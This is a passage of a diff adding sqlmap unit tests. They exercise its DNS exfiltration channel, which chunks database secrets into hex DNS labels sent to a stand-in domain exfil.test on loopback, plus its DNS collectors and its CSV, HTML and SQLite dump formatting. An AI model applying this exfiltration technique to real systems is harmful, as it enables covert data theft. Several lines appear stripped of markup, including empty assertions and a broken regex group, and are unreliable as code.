hex-encoded into ONE DNS label, so the label dnsUse emits must never + exceed the 63-octet DNS label limit - otherwise the query carries an invalid (over-long) label + and exfil silently breaks. + + Unlike a static formula check, this drives the REAL dnsUse() chunking through the REAL DNSServer + and asserts the invariant on the ACTUAL labels that reach the wire. The mock oracle does NOT + re-derive the chunk size: it slices each chunk to exactly the length dnsUse itself rendered into + its SUBSTRING call (captured live from agent.hexConvertField, whose input is the source's + substring expression). So if the chunk_length arithmetic in dnsUse regresses, the emitted hex + label grows past 63 octets and this test goes red - it observes the source's output, it does not + recompute it. + """ + + def _drive_and_collect_labels(self, secret): + """ + Runs dnsUse for L{secret} end-to-end against the real DNS server, slicing each chunk to the + length the SOURCE asked for (parsed from the live SUBSTRING expression dnsUse builds), and + returns (every label seen in every emitted query name, list of source chunk_lengths seen). + """ + secret_bytes = secret.encode("utf-8") + boundaries = [] + served = [0] + source_chunk_lengths = [] + # Snapshot the names the REAL DNSServer parsed off the wire, captured the moment they land + # in _requests - dnsUse's own .pop() consumes them, so we must grab them before that. + captured_names = [] + + real_randomStr = self._saved_randomStr + def spy_randomStr(length=4, alphabet=None, **kw): + if alphabet == DNS_BOUNDARIES_ALPHABET and length == 3: + out = real_randomStr(length=length, alphabet=alphabet, **kw) + boundaries.append(out) + return out + return real_randomStr(length=length, alphabet=alphabet, **kw) if alphabet is not None else real_randomStr(length=length, **kw) + dnsmod.randomStr = spy_randomStr + + # agent.hexConvertField receives the rendered SUBSTRING call, e.g. "MID((...),1,31)" / + # "SUBSTRING((...) FROM 1 FOR 13)"; the substring LENGTH argument (the source's real + # chunk_length) is the last integer literal in it. Capture it per iteration so the oracle + # emits a chunk of exactly that size - the source's arithmetic, not a copy of it. + saved_hexConvertField = agent.hexConvertField + def spy_hexConvertField(field): + source_chunk_lengths.append(int(re.findall(r"\d+", field)[-1])) + return saved_hexConvertField(field) + agent.hexConvertField = spy_hexConvertField + + def oracle(payload=None, *args, **kwargs): + prefix, suffix = boundaries[-2], boundaries[-1] + chunk_length = source_chunk_lengths[-1] + chunk = secret_bytes[served[0]:served[0] + chunk_length] + if chunk: + host = "%s.%s.%s.%s" % (prefix, binascii.hexlify(chunk).decode(), suffix, conf.dnsDomain) + c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + c.settimeout(3) + c.sendto(_build_query(host), ("127.0.0.1", self.server.port)) + try: + c.recvfrom(512) + finally: + c.close() + served[0] += len(chunk) + for _ in range(500): # ~5s deadline (was ~1s) - loopback packet can lag on a loaded CI runner + with self.server._lock: + matched = [r for r in self.server._requests if host.encode() in r] + if matched: + captured_names.extend(r.decode() if isinstance(r, bytes) else r for r in matched) + break + time.sleep(0.01) + return None + + Connect.queryPage = staticmethod(oracle) + dnsmod.Request.queryPage = staticmethod(oracle) + + try: + result = dnsmod.dnsUse("%s AND %d=%d", "user()") + finally: + agent.hexConvertField = saved_hexConvertField + + # round-trip must still work (the source must actually reassemble what it chunked) + self.assertEqual(result, secret) + + labels = [] + for name in captured_names: + labels.extend(label for label in name.split(".") if label) + return labels, source_chunk_lengths + + def test_emitted_dns_labels_within_max_dns_label(self): + # long enough that every supported dialect's chunk_length forces several chunks (>1 label of + # hex payload), so the chunking loop - not just a single-shot path - is what we measure + secret = ("The quick brown fox jumps over the lazy dog " + "0123456789 ABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyz") * 3 + for dbms_name in ("MySQL", "Oracle", "PostgreSQL", "Microsoft SQL Server"): + self.DBMS_NAME = dbms_name + set_dbms(dbms_name) + labels, source_chunk_lengths = self._drive_and_collect_labels(secret) + + # the source must have actually chunked (multiple SUBSTRING iterations), otherwise we + # would not be testing the chunking output at all + self.assertGreater(len(source_chunk_lengths), 1, + "%s: payload did not force multiple chunks (got %d)" % (dbms_name, len(source_chunk_lengths))) + self.assertTrue(all(cl > 0 for cl in source_chunk_lengths), + "%s: non-positive chunk_length from source: %r" % (dbms_name, source_chunk_lengths)) + + self.assertTrue(labels, "%s: no DNS query labels were captured" % dbms_name) + for label in labels: + self.assertLessEqual(len(label), MAX_DNS_LABEL, + "%s: emitted DNS label %r is %d octets, exceeds MAX_DNS_LABEL (%d)" + % (dbms_name, label, len(label), MAX_DNS_LABEL)) + + +class TestDnsChannelDetection(_DnsCase): + """dnsTest(): probes the channel with a known random integer and disables DNS exfil if + the value doesn't come back (unless --force-dns, which then aborts).""" + DBMS_NAME = "MySQL" + KNOWN = 4815162342 + + def _patch_known_int(self): + dnstestmod.randomInt = lambda *a, **k: self.KNOWN + + def test_detection_success_keeps_channel(self): + self._patch_known_int() + self._install_oracle(str(self.KNOWN), working=True) + dnstestmod.dnsTest("%s AND %d=%d") + self.assertTrue(kb.dnsTest) + self.assertEqual(conf.dnsDomain, "exfil.test") # channel kept + + def test_detection_failure_disables_channel(self): + self._patch_known_int() + self._install_oracle(str(self.KNOWN), working=False) # dead channel + dnstestmod.dnsTest("%s AND %d=%d") + self.assertFalse(kb.dnsTest) + self.assertIsNone(conf.dnsDomain) # exfil turned off + + def test_detection_failure_with_force_dns_raises(self): + self._patch_known_int() + conf.forceDns = True + self._install_oracle(str(self.KNOWN), working=False) + self.assertRaises(SqlmapNotVulnerableException, dnstestmod.dnsTest, "%s AND %d=%d") + + +if __name__ == "__main__": + unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_dns_server.py b/tests/test_dns_server.py new file mode 100644 index 00000000000..918e54659ab --- /dev/null +++ b/tests/test_dns_server.py @@ -0,0 +1,365 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +The DNS server used for DNS-exfiltration (lib/request/dns.py): raw packet parsing +(DNSQuery), fake A-record response crafting, the pop(prefix, suffix) accounting, and +- importantly - resilience: a single malformed packet or a transient send error must +NOT kill the server thread (which would silently lose all further exfiltration). +""" + +import collections +import os +import socket +import struct +import sys +import threading +import time +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +sys.path.insert(0, os.path.join(os.path.dirname(os.path.abspath(__file__)), "..")) + +from lib.core.settings import MAX_DNS_REQUESTS +from lib.request.dns import DNSQuery, DNSServer, InteractshDNSServer + + +def build_query(name, tid=b"\x12\x34", qtype=1): + """Minimal standard (opcode 0) DNS query packet for L{name} (qtype 1=A, 28=AAAA, ...)""" + pkt = tid + b"\x01\x00" + b"\x00\x01" + b"\x00\x00" + b"\x00\x00" + b"\x00\x00" + for label in name.split("."): + if label: + pkt += struct.pack("B", len(label)) + label.encode() + return pkt + b"\x00" + struct.pack(">H", qtype) + b"\x00\x01" + + +class _HighPortDNSServer(DNSServer): + """Real DNSServer logic, bound on an ephemeral high port (no root, no :53 probe). + + Binds to port 0 and reads the kernel-chosen port back via getsockname() (same pattern + as tests/test_dns_engine.py) so concurrent/repeated runs never collide on a hardcoded + port. The actual port is exposed as L{self.port}. + """ + def __init__(self, sock=None, maxlen=MAX_DNS_REQUESTS): + self._requests = collections.deque(maxlen=maxlen) + self._lock = threading.Lock() + if sock is None: + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + sock.bind(("127.0.0.1", 0)) + self._socket = sock + self.port = self._socket.getsockname()[1] + self._running = False + self._initialized = False + + def close(self): + self._running = False + try: + self._socket.close() + except socket.error: + pass + + +# Maximum time (seconds) to wait for the daemon server thread to come up, or for a sent +# query to be recorded, before failing loudly instead of spinning/sleeping forever. +WAIT_TIMEOUT = 5.0 + + +def _wait_initialized(srv, timeout=WAIT_TIMEOUT): + """Bounded wait for the server thread to flip _initialized; fail fast if it never does.""" + deadline = time.time() + timeout + while not srv._initialized: + if time.time() > deadline: + raise RuntimeError("DNS server failed to initialize within %.1fs" % timeout) + time.sleep(0.01) + + +def _wait_recorded(srv, token, timeout=WAIT_TIMEOUT): + """Bounded wait until L{token} appears in a recorded request; False on timeout.""" + if hasattr(token, "encode"): + token = token.encode() + deadline = time.time() + timeout + while time.time() <= deadline: + with srv._lock: + if any(token in r for r in srv._requests): + return True + time.sleep(0.01) + return False + + +def _wait_popped(srv, prefix, suffix, timeout=WAIT_TIMEOUT): + """Bounded wait until pop(prefix, suffix) yields a value; returns it or None on timeout.""" + deadline = time.time() + timeout + while time.time() <= deadline: + popped = srv.pop(prefix, suffix) + if popped: + return popped + time.sleep(0.01) + return None + + +class _SendFailOnceSocket(object): + """Wraps a real UDP socket; first sendto() raises (simulated transient failure)""" + def __init__(self, real): + self._real = real + self._sends = 0 + + def recvfrom(self, *a, **k): + return self._real.recvfrom(*a, **k) + + def sendto(self, *a, **k): + self._sends += 1 + if self._sends == 1: + raise RuntimeError("simulated transient sendto failure") + return self._real.sendto(*a, **k) + + def __getattr__(self, name): + return getattr(self._real, name) + + +class TestDNSQuery(unittest.TestCase): + def test_parses_data_bearing_name(self): + q = DNSQuery(build_query("pre.deadbeef.suf.exfil.test")) + self.assertEqual(q._query, b"pre.deadbeef.suf.exfil.test.") + + def test_empty_and_short_packets_do_not_raise(self): + for raw in (b"", b"\x00", b"\x12", b"\x12\x34", b"\x12\x34\x01\x20"): + self.assertEqual(DNSQuery(raw)._query, b"") # no exception, empty query + + def test_unterminated_name_does_not_raise(self): + # a length byte that runs past the buffer, with no null terminator + pkt = b"\x12\x34\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00" + b"\x20" + b"abc" + DNSQuery(pkt) # must not raise (slicing past end yields b"", ord guards) + + def test_response_is_valid_A_record(self): + q = DNSQuery(build_query("x.y.z", tid=b"\xab\xcd")) + resp = q.response("127.0.0.1") + self.assertEqual(resp[:2], b"\xab\xcd") # transaction id echoed + self.assertEqual(resp[2:4], b"\x85\x80") # standard response, no error + ip = ".".join(str(b if isinstance(b, int) else ord(b)) for b in resp[-4:]) + self.assertEqual(ip, "127.0.0.1") + + def test_empty_query_yields_empty_response(self): + self.assertEqual(DNSQuery(b"\x00").response("127.0.0.1"), b"") + + +class TestDNSServerRoundTrip(unittest.TestCase): + @classmethod + def setUpClass(cls): + cls.srv = _HighPortDNSServer() + cls.srv.run() + _wait_initialized(cls.srv) + + @classmethod + def tearDownClass(cls): + srv = getattr(cls, "srv", None) + if srv is not None: + srv.close() + cls.srv = None + + def _send(self, name): + c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + c.settimeout(3) + c.sendto(build_query(name), ("127.0.0.1", self.srv.port)) + try: + c.recvfrom(512) + except socket.timeout: + pass + finally: + c.close() + return _wait_recorded(self.srv, name) + + def test_roundtrip_and_pop(self): + self.assertTrue(self._send("aaa.cafe.bbb.exfil.test")) + self.assertIsNone(self.srv.pop("zzz", "yyy")) # wrong boundaries + self.assertIsNotNone(self.srv.pop("aaa", "bbb")) # correct boundaries + self.assertIsNone(self.srv.pop("aaa", "bbb")) # consumed only once + + def test_non_a_query_type_still_recorded(self): + # a DBMS resolver may emit AAAA (28) / TXT (16) lookups - the exfiltrated name is in the + # labels regardless of qtype, and the server records before crafting the (A) response + c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + c.settimeout(2) + c.sendto(build_query("ggg.beef.hhh.exfil.test", qtype=28), ("127.0.0.1", self.srv.port)) + try: + c.recvfrom(512) + except socket.timeout: + pass + finally: + c.close() + if not _wait_popped(self.srv, "ggg", "hhh"): + self.fail("AAAA-type query was not recorded (exfil would be lost for AAAA-resolving DBMSes)") + + +class TestDNSServerMemoryBound(unittest.TestCase): + """The server records every received query (it listens on :53); only matching ones are + popped. Unrelated/stray traffic and resolver retries must not grow memory without bound.""" + + def test_requests_are_bounded_and_recent_kept(self): + srv = _HighPortDNSServer(maxlen=50) + self.addCleanup(srv.close) + srv.run() + _wait_initialized(srv) + c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + for i in range(200): # flood well past the bound + c.sendto(build_query("noise%d.unrelated.test" % i), ("127.0.0.1", srv.port)) + c.close() + # a legit exfil query right after the flood must still be capturable + c2 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM); c2.settimeout(2) + c2.sendto(build_query("ppp.d00d.qqq.exfil.test"), ("127.0.0.1", srv.port)) + try: + c2.recvfrom(512) + except socket.timeout: + pass + finally: + c2.close() + popped = _wait_popped(srv, "ppp", "qqq") + with srv._lock: + n = len(srv._requests) + self.assertLessEqual(n, 50, "request buffer exceeded its bound (%d)" % n) + self.assertIsNotNone(popped, "a fresh exfil query was lost after a flood of stray traffic") + + +class TestDNSServerResilience(unittest.TestCase): + def _make(self, sock=None): + srv = _HighPortDNSServer(sock=sock) + self.addCleanup(srv.close) + srv.run() + _wait_initialized(srv) + return srv + + def _query(self, port, name): + c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + c.settimeout(1) + c.sendto(build_query(name), ("127.0.0.1", port)) + try: + c.recvfrom(512) + except socket.timeout: + pass + finally: + c.close() + + def _recorded(self, srv, token): + return _wait_recorded(srv, token) + + def test_survives_transient_send_error(self): + # ephemeral bind, then wrap the bound socket so its first sendto() raises + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + s.bind(("127.0.0.1", 0)) + srv = self._make(sock=_SendFailOnceSocket(s)) + self._query(srv.port, "aaa.11.bbb.exfil.test") # first sendto raises + self._query(srv.port, "ccc.22.ddd.exfil.test") # must still be served + self.assertTrue(self._recorded(srv, "ccc.22.ddd"), + "DNS server died after one failing sendto (lost subsequent exfil)") + self.assertTrue(srv._running) + + def test_survives_malformed_packets(self): + srv = self._make() + c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + for junk in (b"", b"\x00", b"\xff" * 7, b"\x12\x34\x01\x00\x00\x01" + b"\x20abc"): + c.sendto(junk, ("127.0.0.1", srv.port)) + c.close() + self._query(srv.port, "ok.33.fine.exfil.test") + self.assertTrue(self._recorded(srv, "ok.33.fine"), + "DNS server died on a malformed packet") + + +class TestDNSServerConcurrency(unittest.TestCase): + """Under --threads, many workers fire DNS queries and call pop() while the server thread + appends - all guarded by one lock. Each worker must get back exactly its own data.""" + + @classmethod + def setUpClass(cls): + cls.srv = _HighPortDNSServer() + cls.srv.run() + _wait_initialized(cls.srv) + + @classmethod + def tearDownClass(cls): + srv = getattr(cls, "srv", None) + if srv is not None: + srv.close() + cls.srv = None + + def test_concurrent_send_and_pop_no_crosstalk(self): + import binascii, re + N = 12 + errors = [] + + def worker(i): + # distinct boundary labels per worker (DNS boundary alphabet = letters, no a-f/digits) + prefix = "gg" + chr(ord("g") + i) + suffix = "mm" + chr(ord("g") + i) + secret = ("worker-%02d-secret" % i).encode() + host = "%s.%s.%s.exfil.test" % (prefix, binascii.hexlify(secret).decode(), suffix) + c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + c.settimeout(2) + try: + c.sendto(build_query(host), ("127.0.0.1", self.srv.port)) + try: + c.recvfrom(512) + except socket.timeout: + pass + finally: + c.close() + got = _wait_popped(self.srv, prefix, suffix) + if not got: + errors.append("worker %d: never popped its query" % i); return + m = re.search(r"%s\.(?P.+?)\.%s" % (prefix, suffix), got, re.I) + if not m or binascii.unhexlify(m.group("r")) != secret: + errors.append("worker %d: cross-talk/corruption got=%r" % (i, got)) + + threads = [threading.Thread(target=worker, args=(i,)) for i in range(N)] + for t in threads: + t.start() + for t in threads: + t.join() + self.assertEqual(errors, [], "concurrency failures: %s" % errors) + # every queued request consumed exactly once -> nothing left behind + self.assertEqual(self.srv.pop("gg" + chr(ord("g")), "mm" + chr(ord("g"))), None) + + +if __name__ == "__main__": + unittest.main(verbosity=2) + + +class TestInteractshDNSServer(unittest.TestCase): + """The interactsh-backed DNS collector must present the same pop(prefix, suffix) + accounting as DNSServer, matching only prefix..suffix names and never + returning the same captured lookup twice.""" + + def _collector(self, names): + class _FakeClient(object): + registered = True + def dnsDomain(self): return "corr0000000000000nnc.oast.fun" + def dnsNames(self): return list(names) + srv = InteractshDNSServer.__new__(InteractshDNSServer) + srv._client = _FakeClient() + srv.domain = srv._client.dnsDomain() + srv._seen = set() + srv._running = True + srv._initialized = True + srv._POLL_TRIES = 1 # no real sleeps in unit tests + return srv + + def test_pop_matches_prefix_suffix_and_dedups(self): + names = ["aaa.5345435245540a.zzz.corr0000000000000nnc", "unrelated.corr0000000000000nnc"] + srv = self._collector(names) + got = srv.pop("aaa", "zzz") + self.assertEqual(got, "aaa.5345435245540a.zzz.corr0000000000000nnc") + self.assertIsNone(srv.pop("aaa", "zzz")) # already consumed + + def test_pop_no_match(self): + srv = self._collector(["aaa.deadbeef.qqq.corr0000000000000nnc"]) + self.assertIsNone(srv.pop("aaa", "zzz")) + + def test_pop_any(self): + srv = self._collector(["whatever.corr0000000000000nnc"]) + self.assertEqual(srv.pop(), "whatever.corr0000000000000nnc") + + def test_run_is_noop(self): + self._collector([]).run() # must not raise + diff --git a/tests/test_dump_format.py b/tests/test_dump_format.py new file mode 100644 index 00000000000..d3484c28fe0 --- /dev/null +++ b/tests/test_dump_format.py @@ -0,0 +1,414 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Output formatting of the result dumper (lib/core/dump.py) and the SQLite +replication backend (lib/core/replication.py). + +dump.Dump turns extracted DB structures (schemas, table/column listings, row +counts, single facts, user lists) into the human-readable ASCII tables printed +to the console, and serializes per-table row data to CSV / HTML / SQLite files. +None of that needs a live target, network or DBMS: the console renderers route +every line through Dump._write (overridden here to capture instead of print), +and the file renderers just write to a path we point at a temp dir. These tests +pin the rendered layout/escaping contracts so a formatting regression is caught +without an end-to-end scan. +""" + +import io +import os +import shutil +import sys +import tempfile +import unittest + +from collections import OrderedDict as _PlainOrderedDict + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, reset_dbms +bootstrap() + +from lib.core.common import Backend +from lib.core.data import conf, kb +from lib.core.dump import Dump +from lib.core.enums import DUMP_FORMAT +from lib.core.replication import Replication + + +# --- console-rendering tests (no files): capture every Dump._write line -------------------------- + +class _CaptureCase(unittest.TestCase): + """Base for the console renderers: pins a neutral case-preserving DBMS, disables api/report + side channels, and replaces Dump._write with an in-memory capture so nothing hits stdout.""" + + _CONF_KEYS = ("api", "reportCollector", "dumpFormat", "col", "csvDel", "dumpPath", "dumpFile", + "limitStart", "limitStop", "forceDbms", "dbms") + _KB_KEYS = ("forcedDbms", "dbms") + + def setUp(self): + self._saved = dict((k, conf.get(k)) for k in self._CONF_KEYS) + self._savedKb = dict((k, kb.get(k)) for k in self._KB_KEYS) + conf.forceDbms = conf.dbms = None + kb.dbms = None + Backend.forceDbms("MySQL") + conf.api = False + conf.reportCollector = None + conf.col = None + conf.csvDel = "," + self.lines = [] + self.d = Dump() + self.d._write = self._capture + + def tearDown(self): + for k, v in self._saved.items(): + conf[k] = v + for k, v in self._savedKb.items(): + kb[k] = v + + def _capture(self, data, newline=True, console=True, content_type=None): + # mirror Dump._write's own line-vs-space join so multi-call lines reassemble faithfully + self.lines.append("%s%s" % (data, "\n" if newline else " ")) + + def text(self): + return "".join(self.lines) + + +class TestStringAndLister(_CaptureCase): + def test_string_scalar_quoted(self): + # a plain string fact is rendered as "header: 'value'" + self.d.string("current user", "root@localhost") + self.assertIn("current user: 'root@localhost'", self.text()) + + def test_string_multiline_block(self): + # a value containing a newline switches to the fenced ---\n...\n--- block form + self.d.string("banner", "line1\nline2") + out = self.text() + self.assertIn("banner:\n---\nline1\nline2\n---", out) + + def test_string_singleton_list_unwrapped(self): + # a one-element list is unwrapped to the scalar form (not the lister "[N]:" form) + self.d.string("current database", ["testdb"]) + out = self.text() + self.assertIn("current database: 'testdb'", out) + self.assertNotIn("[1]", out) + + def test_lister_sorts_and_counts(self): + # lister prints a "[count]:" header, one "[*] item" per element, sorted case-insensitively + self.d.lister("available databases", ["mysql", "Alpha", "zebra"]) + out = self.text() + self.assertIn("available databases [3]:", out) + body = out[out.index("[3]:"):] + # case-insensitive ascending: Alpha, mysql, zebra + self.assertLess(body.index("[*] Alpha"), body.index("[*] mysql")) + self.assertLess(body.index("[*] mysql"), body.index("[*] zebra")) + + def test_lister_dedupes(self): + # the sort path also de-duplicates (set()) before listing + self.d.lister("database management system users", ["root", "root", "guest"]) + out = self.text() + self.assertIn("database management system users [2]:", out) + self.assertEqual(out.count("[*] root"), 1) + + def test_lister_unsorted_preserves_order(self): + # sort=False (e.g. rFile) keeps insertion order + self.d.lister("files saved to", ["/z", "/a", "/m"], sort=False) + out = self.text() + self.assertLess(out.index("[*] /z"), out.index("[*] /a")) + self.assertLess(out.index("[*] /a"), out.index("[*] /m")) + + +class TestCurrentDb(_CaptureCase): + def test_label_default_dbms(self): + # MySQL is not in the schema/owner special-cased lists -> plain "current database" + self.d.currentDb("testdb") + self.assertIn("current database: 'testdb'", self.text()) + + def test_label_schema_dbms(self): + # Oracle is in the schema-equivalent list -> the label is annotated accordingly + Backend.forceDbms("Oracle") + self.d.currentDb("SYSTEM") + out = self.text() + self.assertIn("equivalent to schema on Oracle", out) + self.assertIn("SYSTEM", out) + + +class TestDbTables(_CaptureCase): + def test_table_listing_box(self): + self.d.dbTables({"testdb": ["users", "logs"]}) + out = self.text() + self.assertIn("Database: testdb", out) + self.assertIn("[2 tables]", out) + self.assertIn("| users", out) + self.assertIn("| logs", out) + # box borders present + self.assertIn("+", out) + + def test_single_table_singular(self): + self.d.dbTables({"testdb": ["only"]}) + self.assertIn("[1 table]", self.text()) + + def test_no_tables(self): + self.d.dbTables({}) + self.assertIn("No tables found", self.text()) + + def test_box_width_matches_longest_table(self): + # the border length tracks the longest table name (+2 padding) + self.d.dbTables({"testdb": ["a", "elephant"]}) + out = self.text() + # "elephant" is 8 chars -> a border line of 8+2 = 10 dashes exists + self.assertIn("+%s+" % ("-" * 10), out) + + +class TestDbTableColumns(_CaptureCase): + def test_typed_columns_two_column_box(self): + self.d.dbTableColumns({"testdb": {"users": {"id": "int", "name": "varchar(50)"}}}) + out = self.text() + self.assertIn("Database: testdb", out) + self.assertIn("Table: users", out) + self.assertIn("[2 columns]", out) + self.assertIn("| Column", out) + self.assertIn("| Type", out) + self.assertIn("int", out) + self.assertIn("varchar(50)", out) + + def test_typeless_columns_single_box(self): + # when no column carries a type, only the Column box is rendered (no Type header) + self.d.dbTableColumns({"testdb": {"users": {"id": None, "name": None}}}) + out = self.text() + self.assertIn("| Column", out) + self.assertNotIn("| Type", out) + + def test_mixed_types_still_show_type_header(self): + # even if the alphabetically-last column is type-less, a Type column must appear + self.d.dbTableColumns({"testdb": {"t": {"aaa": "int", "zzz": None}}}) + self.assertIn("| Type", self.text()) + + +class TestDbTablesCount(_CaptureCase): + def test_count_box_sorted_desc(self): + self.d.dbTablesCount({"testdb": {5: ["small"], 100: ["big"]}}) + out = self.text() + self.assertIn("Database: testdb", out) + self.assertIn("| Table", out) + self.assertIn("| Entries", out) + # higher count first (reverse sort) + self.assertLess(out.index("big"), out.index("small")) + self.assertIn("100", out) + + +class TestUserSettings(_CaptureCase): + def test_privileges_listed_with_admin_flag(self): + # userSettings accepts (settingsDict, adminsSet); admins get an "(administrator)" tag + settings = ({"root": ["ALL"], "guest": ["SELECT"]}, set(["root"])) + self.d.userSettings("database management system users privileges", settings, "privilege") + out = self.text() + self.assertIn("[*] root (administrator)", out) + self.assertIn("[*] guest", out) + self.assertNotIn("guest (administrator)", out) + self.assertIn("privilege: ALL", out) + self.assertIn("privilege: SELECT", out) + + +# --- file-rendering tests (CSV / HTML / SQLite): point output at a temp dir ---------------------- + +class _FileDumpCase(unittest.TestCase): + _CONF_KEYS = ("dumpFormat", "dumpPath", "dumpFile", "col", "api", "reportCollector", + "limitStart", "limitStop", "csvDel", "forceDbms", "dbms") + _KB_KEYS = ("forcedDbms", "dbms") + + def setUp(self): + self._saved = dict((k, conf.get(k)) for k in self._CONF_KEYS) + self._savedKb = dict((k, kb.get(k)) for k in self._KB_KEYS) + conf.forceDbms = conf.dbms = None + kb.dbms = None + Backend.forceDbms("MySQL") + self.tmp = tempfile.mkdtemp(prefix="sqlmap-dumpfmt-test") + conf.dumpPath = self.tmp + conf.dumpFile = None + conf.col = None + conf.api = False + conf.reportCollector = None + conf.limitStart = conf.limitStop = None + conf.csvDel = "," + self.d = Dump() + self.d._write = lambda *a, **k: None # silence the console table + + def tearDown(self): + for k, v in self._saved.items(): + conf[k] = v + for k, v in self._savedKb.items(): + kb[k] = v + shutil.rmtree(self.tmp, ignore_errors=True) + + def _path(self, table_values, ext): + db = table_values["__infos__"]["db"] or "All" + return os.path.join(self.tmp, db, "%s.%s" % (table_values["__infos__"]["table"], ext)) + + def _dump(self, table_values, fmt, ext): + conf.dumpFormat = fmt + self.d.dbTableValues(table_values) + with io.open(self._path(table_values, ext), encoding="utf-8") as f: + return f.read() + + +class TestCsvDump(_FileDumpCase): + def _sample(self): + return _PlainOrderedDict([ + ("__infos__", {"count": 2, "db": "testdb", "table": "users"}), + ("id", {"length": 2, "values": ["1", "2"]}), + ("name", {"length": 6, "values": ["luther", "fluffy"]}), + ]) + + def test_header_and_rows(self): + content = self._dump(self._sample(), DUMP_FORMAT.CSV, "csv") + lines = [l for l in content.splitlines() if l.strip()] + self.assertEqual(lines[0].split(","), ["id", "name"]) + self.assertEqual(lines[1].split(","), ["1", "luther"]) + self.assertEqual(lines[2].split(","), ["2", "fluffy"]) + + def test_delimiter_in_value_is_quoted(self): + # RFC-4180: a value containing the delimiter must be wrapped in quotes + tv = _PlainOrderedDict([ + ("__infos__", {"count": 1, "db": "testdb", "table": "t"}), + ("a", {"length": 8, "values": ["x,y"]}), + ("b", {"length": 1, "values": ["z"]}), + ]) + content = self._dump(tv, DUMP_FORMAT.CSV, "csv") + self.assertIn('"x,y"', content) + + def test_null_and_blank_markers(self): + # the display replacements apply to CSV too: DB NULL (" ") -> NULL, empty ("") -> + tv = _PlainOrderedDict([ + ("__infos__", {"count": 1, "db": "testdb", "table": "t"}), + ("a", {"length": 4, "values": [" "]}), + ("b", {"length": 7, "values": [""]}), + ("c", {"length": 1, "values": ["x"]}), + ]) + content = self._dump(tv, DUMP_FORMAT.CSV, "csv") + row = [l for l in content.splitlines() if l.strip()][1] + self.assertEqual(row.split(","), ["NULL", "", "x"]) + + def test_custom_delimiter(self): + conf.csvDel = ";" + content = self._dump(self._sample(), DUMP_FORMAT.CSV, "csv") + self.assertEqual(content.splitlines()[0].split(";"), ["id", "name"]) + + +class TestHtmlDump(_FileDumpCase): + def _sample(self): + return _PlainOrderedDict([ + ("__infos__", {"count": 1, "db": "testdb", "table": "users"}), + ("id", {"length": 2, "values": ["1"]}), + ("name", {"length": 6, "values": ["luther"]}), + ]) + + def test_html_scaffold_and_cells(self): + content = self._dump(self._sample(), DUMP_FORMAT.HTML, "html") + self.assertIn("", content) + self.assertIn("testdb.users", content) + self.assertIn("id", content) + self.assertIn(">name", content) + self.assertIn("1", content) + self.assertIn("luther", content) + self.assertIn("", content) + self.assertIn("", content) + + def test_html_escapes_markup(self): + # a value with HTML metacharacters must be escaped, not emitted raw + tv = _PlainOrderedDict([ + ("__infos__", {"count": 1, "db": "testdb", "table": "t"}), + ("payload", {"length": 16, "values": [""]}), + ]) + content = self._dump(tv, DUMP_FORMAT.HTML, "html") + self.assertNotIn("", content) + self.assertIn("<", content) + + +class TestSqliteDump(_FileDumpCase): + def test_rows_and_inferred_types(self): + tv = _PlainOrderedDict([ + ("__infos__", {"count": 2, "db": "testdb", "table": "people"}), + ("id", {"length": 2, "values": ["1", "2"]}), # all ints -> INTEGER + ("ratio", {"length": 4, "values": ["1.5", "2.0"]}), # floats -> REAL + ("name", {"length": 6, "values": ["alice", " "]}), # text with a NULL marker + ]) + conf.dumpFormat = DUMP_FORMAT.SQLITE + self.d.dbTableValues(tv) + + import sqlite3 + dbfile = os.path.join(self.tmp, "testdb.sqlite3") + self.assertTrue(os.path.exists(dbfile)) + conn = sqlite3.connect(dbfile) + try: + cur = conn.cursor() + cur.execute("SELECT id, ratio, name FROM people ORDER BY id") + rows = cur.fetchall() + self.assertEqual(rows[0], (1, 1.5, "alice")) + # the DB NULL marker (" ") was stored as a real NULL, not the "NULL" text + self.assertEqual(rows[1], (2, 2.0, None)) + # column affinities inferred from the values + cur.execute("PRAGMA table_info(people)") + types = {name: ctype for (_cid, name, ctype, _nn, _dv, _pk) in cur.fetchall()} + self.assertEqual(types["id"], "INTEGER") + self.assertEqual(types["ratio"], "REAL") + self.assertEqual(types["name"], "TEXT") + finally: + conn.close() + + +# --- replication backend tests (pure sqlite3, no network/DBMS) ----------------------------------- + +class TestReplication(unittest.TestCase): + def setUp(self): + self.tmp = tempfile.mkdtemp(prefix="sqlmap-repl-test") + self.path = os.path.join(self.tmp, "out.sqlite3") + self.repl = Replication(self.path) + + def tearDown(self): + try: + self.repl.connection.close() + except Exception: + pass + shutil.rmtree(self.tmp, ignore_errors=True) + + def test_create_insert_select_roundtrip(self): + t = self.repl.createTable("t", [("id", Replication.INTEGER), ("name", Replication.TEXT)]) + t.beginTransaction() + t.insert(["1", "alice"]) + t.insert(["2", "bob"]) + t.endTransaction() + rows = sorted(t.select()) + self.assertEqual(rows, [(1, "alice"), (2, "bob")]) + + def test_select_with_condition(self): + t = self.repl.createTable("t", [("id", Replication.INTEGER), ("name", Replication.TEXT)]) + t.insert(["1", "alice"]) + t.insert(["2", "bob"]) + self.assertEqual(t.select("name = 'bob'"), [(2, "bob")]) + + def test_insert_wrong_arity_raises(self): + from lib.core.exception import SqlmapValueException + t = self.repl.createTable("t", [("id", Replication.INTEGER), ("name", 